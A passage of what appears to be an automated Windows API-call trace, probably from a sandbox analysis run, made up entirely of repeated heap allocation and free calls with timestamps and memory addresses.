lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.033] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.034] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.035] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.036] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.037] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: 